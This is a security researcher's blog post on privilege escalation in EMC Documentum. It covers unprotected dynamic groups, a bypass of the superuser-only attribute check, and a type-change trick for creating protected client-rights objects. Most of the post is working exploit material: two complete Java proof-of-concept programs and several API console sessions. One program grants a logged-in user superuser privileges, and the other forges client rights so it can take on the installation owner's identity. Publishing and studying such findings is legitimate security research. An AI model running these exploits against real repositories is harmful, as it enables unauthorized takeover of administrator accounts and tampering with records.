God bless EMC. Part III

In November 2013 I had noted, that it’s not a good idea to give access to API Tester component in WDK applications to non-privileged users due to following reasons:

In latest wdk patches EMC restricted access to API Tester component, and now only superusers is able to use it:

But I completely missed a fact, that Collaboration Services (which are installed by default) create a lot of dynamic non-protected groups:

Call UpdatePrivGroup( "dce_room_creator", "dm_create_group" )
Call UpdatePrivGroup( "dce_create_room_groups", "dm_create_group" )
Call UpdatePrivGroup( "dce_user_manager", "dm_create_user" )
Call UpdatePrivGroup( "dce_user_manager", "dm_create_cabinet" )
Call UpdatePrivGroup( "dce_datatable_creator", "dm_create_type" )
Call UpdatePrivGroup( "dcs_privileged_users", "dm_superusers" )

Call AddGroupToRole("dce_create_room_groups", "dm_world" )
Call AddGroupToRole("dce_datatable_creator", "dm_world" )
Call AddGroupToRole("dcs_privileged_users", "dm_world" )

Call AddAttributeValueToRole( "dce_datatable_creator", "is_dynamic", "T" )
Call AddAttributeValueToRole( "dce_datatable_creator", "is_module_only", "T" )
Call AddAttributeValueToRole( "dce_datatable_creator", "group_class", "module role" )

Call AddAttributeValueToRole( "dcs_privileged_users", "is_dynamic", "T" )
Call AddAttributeValueToRole( "dcs_privileged_users", "is_module_only", "T" )
Call AddAttributeValueToRole( "dcs_privileged_users", "group_class", "module role" )

Call AddAttributeValueToRole( "dce_room_creator", "is_dynamic", "T" )
Call AddAttributeValueToRole( "dce_room_creator", "is_module_only", "T" )

Call AddAttributeValueToRole( "dce_create_room_groups", "is_dynamic", "T" )
Call AddAttributeValueToRole( "dce_create_room_groups", "is_module_only", "T" )
Call AddAttributeValueToRole("dce_create_room_groups", "group_class", "module role")

Call AddAttributeValueToRole( "dce_user_manager", "is_dynamic", "T" )
Call AddAttributeValueToRole( "dce_user_manager", "is_module_only", "T" )

Call AddGroupAdminToGroup( "dce_create_room_groups", "dce_room_creator" )
Call AddGroupAdminToGroup( "dce_hidden_users", "dce_user_manager" )

This means that in previous releases of WDK applications any user is able to escalate privileges using API Tester component and, moreover, even now if user is able to connect to content server directly he is also able to escalate privileges:

package com.documentum.fc.client.security.impl;

import static java.lang.System.out;

import com.documentum.fc.client.DfClient;
import com.documentum.fc.client.IDfCollection;
import com.documentum.fc.client.IDfSession;
import com.documentum.fc.client.IDfSessionManager;
import com.documentum.fc.common.DfId;
import com.documentum.fc.common.DfList;
import com.documentum.fc.common.DfLoginInfo;
import com.documentum.fc.common.IDfList;
import com.documentum.fc.common.IDfLoginInfo;

public class Test {

    public static void main(String argv[]) throws Exception {
        String docbase = argv[0];
        String username = argv[1];
        String password = argv[2];
        String domain = null;
        if (argv.length == 4) {
            domain = argv[3];
        }

        IDfSessionManager sessionManager = new DfClient().newSessionManager();
        IDfLoginInfo loginInfo = new DfLoginInfo(username, password);
        if (domain != null) {
            loginInfo.setDomain(domain);
        }
        sessionManager.setIdentity(docbase, loginInfo);
        out.println("Connecting to docbase '" + docbase + "' as '" + username
                + "'");
        IDfSession session = sessionManager.getSession(docbase);
        out.println("Connected");
        IDfList arguments = new DfList(new String[] {"QUERY",
            "__REQUESTED_PROTECTED_ROLES", });
        IDfList types = new DfList(new String[] {"S", "S", });
        IDfList values = new DfList(
                new String[] {
                    "update dm_user object set user_privileges=16 where user_name=USER",
                    "dcs_privileged_users", });
        IDfCollection collection = session.apply(DfId.DF_NULLID_STR,
                "EXEC", arguments, types, values);
        if (collection != null && collection.next()) {
            out.println(collection.dump());
        }
        if (collection != null) {
            collection.close();
        }
    }
}

Update

On March 3rd, 2014 EMC announced a fix for taskspace (actually they just restricted access to API Tester), suggested workaround brings me a lot of fun:

Dumb superuser check in DFC

I have no idea about whose brilliant idea was to make setting values of attributes starting with “r_” and “i_” accessible only to superuser or EMC code (com.documentum.fc package):

API> create,c,dm_sysobject
...
0801ffd780095628
API> save,c,l
...
OK
API> set,c,l,r_creation_date
SET> 01/01/2013
...
[DM_API_E_UPDATE_BAD_ATTR]error:  "The attribute 'r_creation_date' is not updateable."

but this restriction is completely stupid and could be bypassed by either following DFC code (inside TBO we can use setTimeInternal method without reflection):

IDfSysObject object = (IDfSysObject) session.newObject("dm_document");  
Method setTimeInternal = DfTypedObject.class.getDeclaredMethod(  
        "setTimeInternal", String.class, IDfTime.class);  
setTimeInternal.setAccessible(true);  
setTimeInternal.invoke(((IPersistentObject) object).getProxyHandler()  
        .____getImp____(), "r_creation_date", new DfTime()); 

or by poisoning DFC cache:

API> retrieve,c,dm_user where user_name=USER
...
1101ffd780001911
API> set,c,l,user_privileges
SET> 16
...
OK
API> create,c,dm_sysobject
...
0801ffd780095629
API> save,c,l
...
OK
API> set,c,l,r_creation_date
SET> 01/01/2013
...
OK
API> save,c,l
...
OK
API> get,c,l,r_creation_date
...
1/1/2013 00:00:00

documentum security vulnerabilities: protected objects

In the most cases non-privileged users are restricted to create objects of certain types, for example, if user is able to create dm_method object, he is able to gain superuser privileges through execution of corresponding method, so Content Server puts additional checks for user’s privileges before creating objects of certain types:

Session id is s0
API> create,c,dm_method
...
1001ffd780095581
API> save,c,l
...
[DM_METHOD_E_NEED_PRIV_FOR_CHANGE]error:  "The current user (op1tp1) needs to 
     have superuser or sysadmin privilege to save or destroy  dm_method object."

API> ?,c,create dm_method object set object_name='test'
[DM_QUERY_F_UP_SAVE]fatal:  "UPDATE:  An error has occurred during a save operation."

[DM_METHOD_E_NEED_PRIV_FOR_CHANGE]error:  "The current user (op1tp1) needs to have 
       superuser or sysadmin privilege to save or destroy test dm_method object."

The problem is “creation of object” does mean “execution of create object statement”, and user is able to “create” object of required type through execution “change object” statement if both old and new types share the same type tag, as, for example, dm_sysobject and dm_client_rights types do:

package com.documentum.fc.client.security.impl;

import static java.lang.System.out;

import com.documentum.fc.client.DfClient;
import com.documentum.fc.client.DfQuery;
import com.documentum.fc.client.IDfACL;
import com.documentum.fc.client.IDfCollection;
import com.documentum.fc.client.IDfQuery;
import com.documentum.fc.client.IDfSession;
import com.documentum.fc.client.IDfSessionManager;
import com.documentum.fc.client.IDfSysObject;
import com.documentum.fc.client.privilege.internal.IClientRegistration;
import com.documentum.fc.client.privilege.internal.IClientRights;
import com.documentum.fc.client.security.internal.IPublicIdentity;
import com.documentum.fc.common.DfId;
import com.documentum.fc.common.DfList;
import com.documentum.fc.common.DfLoginInfo;
import com.documentum.fc.common.IDfList;
import com.documentum.fc.common.IDfLoginInfo;

public class Test {

    public static void main(String argv[]) throws Exception {
        String docbase = argv[0];
        String username = argv[1];
        String password = argv[2];
        String domain = null;
        if (argv.length == 4) {
            domain = argv[3];
        }

        IDfSessionManager sessionManager = new DfClient().newSessionManager();
        IDfLoginInfo loginInfo = new DfLoginInfo(username, password);
        if (domain != null) {
            loginInfo.setDomain(domain);
        }
        sessionManager.setIdentity(docbase, loginInfo);
        out.println("Connecting to docbase '" + docbase + "' as '" + username
                + "'");
        IDfSession session = sessionManager.getSession(docbase);
        out.println("Connected");
        IPublicIdentity publicIdentity = new PublicIdentity();
        out.println("Checking dm_client_registration for dfc: "
                + publicIdentity.getIdentity());
        IClientRegistration clientRegistration = IpAndRcHelper.getRegistration(
                publicIdentity, session);
        if (clientRegistration == null) {
            out.println("dm_client_registration for dfc '"
                    + publicIdentity.getIdentity()
                    + "' does not exist, creating...");
            String publicKeyIdentifier = IpAndRcHelper
                    .createNewCertificateObjectIfNeeded(publicIdentity, session);
            clientRegistration = (IClientRegistration) session
                    .newObject("dm_client_registration");
            RegAndItsAcl dbData = new RegAndItsAcl();
            dbData.reg = clientRegistration;
            dbData.acl = (IDfACL) session.newObject("dm_acl");
            dbData.acl = IpAndRcHelper
                    .fillAndSaveACLForClientRegistration(dbData.acl);
            IpAndRcHelper.fillAndSaveClientRegistration(dbData.reg,
                    publicIdentity, publicKeyIdentifier, dbData.acl);
        } else {
            out.println("dm_client_registration for dfc: "
                    + publicIdentity.getIdentity() + " exists");
        }
        out.println("Checking dm_client_rights for dfc: "
                + publicIdentity.getIdentity());
        IClientRights clientRights = (IClientRights) session
                .getObjectByQualification("dm_client_rights where client_id='"
                        + publicIdentity.getIdentity() + "'");
        if (clientRights != null) {
            out.println("dm_client_rights object for dfc: "
                    + publicIdentity.getIdentity() + " exists, exiting");
            return;
        }
        out.println("dm_client_rights object for dfc: "
                + publicIdentity.getIdentity() + " does not exist, creating");
        IDfSysObject tempObject = (IDfSysObject) session
                .newObject("dm_sysobject");
        tempObject.save();
        IDfQuery query = new DfQuery("CHANGE dm_sysobject OBJECT "
                + "TO dm_client_rights SET object_name='"
                + clientRegistration.getObjectName() + "', "
                + "SET client_id='" + publicIdentity.getIdentity() + "', "
                + "SET public_key_identifier='"
                + clientRegistration.getPublicKeyIdentifier() + "', "
                + "SET host_name='" + clientRegistration.getHostName()
                + "', SET allow_all_roles=TRUE, "
                + "SET allow_all_priv_modules=TRUE, "
                + "SET principal_auth_priv=TRUE, "
                + "SET server_trust_priv=TRUE WHERE r_object_id='"
                + tempObject.getObjectId().getId() + "'");
        IDfCollection collection = query.execute(session, IDfQuery.EXEC_QUERY);
        boolean created = false;
        if (collection != null && collection.next()) {
            out.println("Object changed: "
                    + collection.getInt("objects_changed"));
            if (collection.getInt("objects_changed") > 0) {
                created = true;
            }
        }
        if (collection != null) {
            collection.close();
        }
        if (!created) {
            out.println("Unable to create dm_client_rights object");
            return;
        }
        String installationOwner = session.getServerConfig().getString(
                "r_install_owner");
        out.println("Reconnecting as " + installationOwner + " ...");
        IDfList arguments = new DfList(new String[] {"CONNECT_POOLING",
            "ASSUME_USER", "CHECK_ONLY", "AUTHENTICATE_ONLY", "OS_LOGON_NAME",
            "LOGON_NAME", "TRUSTED_LOGIN_ALLOWED", });
        IDfList types = new DfList(new String[] {"B", "B", "B", "B", "S", "S",
            "B", });
        IDfList values = new DfList(new String[] {"F", "T", "F", "F",
            installationOwner, installationOwner, "T", });
        collection = session.apply(DfId.DF_NULLID_STR, "AUTHENTICATE_USER",
                arguments, types, values);
        if (collection != null && collection.next()) {
            if (collection.getInt("RETURN_VALUE") != 1) {
                out.println("Unable to authenticate as " + installationOwner);
                return;
            }
            session.assume(new DfLoginInfo(installationOwner, session
                    .getLoginTicketForUser(installationOwner)));
            out.println("Checking whether we are a superuser...");
            IDfSysObject serverConfig = (IDfSysObject) session
                    .getServerConfig();
            out.println("Permissions for dm_server_config: "
                    + serverConfig.getPermit());
        }
        if (collection != null) {
            collection.close();
        }
    }
}